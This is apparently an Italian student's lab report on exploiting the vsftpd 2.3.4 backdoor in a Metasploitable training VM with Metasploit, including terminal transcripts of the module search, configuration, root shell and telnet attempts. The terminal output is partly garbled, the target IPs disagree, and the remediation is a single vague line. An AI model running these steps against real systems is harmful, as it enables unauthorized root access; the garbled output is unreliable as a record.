

Informazioni all'interno del documento

Title: W15D4 Gallo Cosimo Pio

Classificazione: Non Confidenziale

Autore: Gallo Cosimo Pio

email: cosimogll1@gmail.com

legal: false

Informazioni del cliente e dell'attività

client: Prof Valerio Casalino

activity: Valutazione Attività

activity_type: Hacking con Metasploit

data inizio: 14/11/2025

Sintesi

Ho iniziato questa sessione di Hacking con un semplice nmap sulla macchina target constatando che la porta 21 era quella interessata in quanto è la porta del servizio vsftpd. In seguito ho avviato l'msfconsole (ovvero un comando nel quale sono racchiuse tutta una serie di vulnerabilità già note) e tramite esso è stato possibile rilevare due possibili exploit. Ho scelto di eseguire la backdoor con il comando use 1, in seguito ho settato RHOSTS con l'ip della macchina target e per finire ho avviato l'exploit tramite il comando run. A questo punto dopo essere entrato mi è bastato soltanto recarmi nella cartella root come richiedeva l'esercizio e tramite il comando mkdir ho creato la cartella con il nome test_metasploit

Scope

I nostri target:

- 192.168.50.101

Sintesi delle vulnerabilità

Tabella delle vulnerabilità rilevate:

Nome vulnerabilita'	Rischio	Σ
auxiliary/dos/ftp/vsftpd_232	low	1
exploit/unix/ftp/vsftpd_234_backdoor	High	1
Vulnerabilita' totali trovate		2

Vulnerabilita' nel dettaglio

Vulnerabilita' 1 DOS

In questo esercizio non ci e stata utile

Vulnerabilita' 2 Backdoor

Tramite la Backdoor e' stato possibile entrare mediante la porta 21 nella metas-ploitable e di conseguenza creare la cartella.

```
kali@kali: ~  
Session Actions Edit View Help  
kali@kali: ~ ❯ kali@kali: ~ ❯ kali@kali: ~ ❯  
kali@kali:~$ cat /dev/null > /dev/null  
kali@kali:~$ msfpayload  
msfpayload: Command not found  
  
kali@kali:~$ msfrpc  
msfrpc: Command not found  
  
kali@kali:~$ msfconsole  
Metasploit tips: After running db_map, be sure to check out the result  
of hosts and services  
  
Console ... -  
  
{ It looks like you're trying to run a module }  
  
{ }  
  
# metasploit v6.4.0B-dev  
+ -- 2,561 exploits - 1,370 auxiliary - 1,688 payloads  
+ -- 443 post - 49 encoders - 13 nops - 9 evasion  
  
Metasploit Documentation: https://docs.metasploit.com/  
The Metasploit Framework is a Rapid7 Open Source Project  
  
msf> search vsftpd  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 auxiliary/dos/ftp/vsftpd_232 2011-07-03 normal Yes vsftpd 2.3.2 Denial of Service  
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No vsftpd v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use l or use exploit/unix/ftp/vsftpd_234_backdoor  
  
msf> use 1  
[*] No payload configured, defaulting to cmd/unix/interact  
msf exploit/unix/ftp/vsftpd_234_backdoor> show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  
  
kali@kali: ~  
Session Actions Edit View Help  
kali@kali: ~ ❯ kali@kali: ~ ❯ kali@kali: ~ ❯  
  
Name Current Setting Required Description  
-----  
CHOST no The local client address  
CURL no The local client port  
Proxies A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies:  
RHOSTS yes The target host(s). See https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html  
RPORT 21 yes The target port (TCP)  
  
Exploit target:  
id Name  
0 Automatic  
  
View the full module info with the info, or info -d command.  
  
msf exploit(unix/ftp/vsftpd_234_backdoor)> set RHOSTS 192.168.58.181  
RHOSTS => 192.168.58.181  
msf exploit(unix/ftp/vsftpd_234_backdoor)> run  
[*] 192.168.58.181:21 - Banner: 220 (vsftpd 2.3.4)  
[*] 192.168.58.181:21 - USER: 330 Please Specify the password.  
[*] 192.168.58.181:21 - Backdoor service has been spawned, handling...  
[*] 192.168.58.181:21 - UDP: user=root() exe=/root()  
[*] User shell.  
[*] Command shell session 1 opened 192.168.58.181:46421 -> 192.168.58.181:6280 at 2025-11-14 13:05:12 -0500  
  
^C  
Abort session 1? [y/n] N  
[*] Aborting foreground process in the shell session  
sh: line 9: : command not found  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
intercepting.png  
lib  
lost-found  
media  
mnt  
nmap.out  
opt
```




```
kali@kali: ~  
$ ssh 192.168.50.101 -p 22  
Unable to negotiate with 192.168.50.101 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss  
  
$ telnet 192.168.50.101  
Trying 192.168.50.101...  
Connected to 192.168.50.101.  
Escape character is '^['.  
  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: anonymous  
Password:
```

Rimedi

Umentare la sicurezza.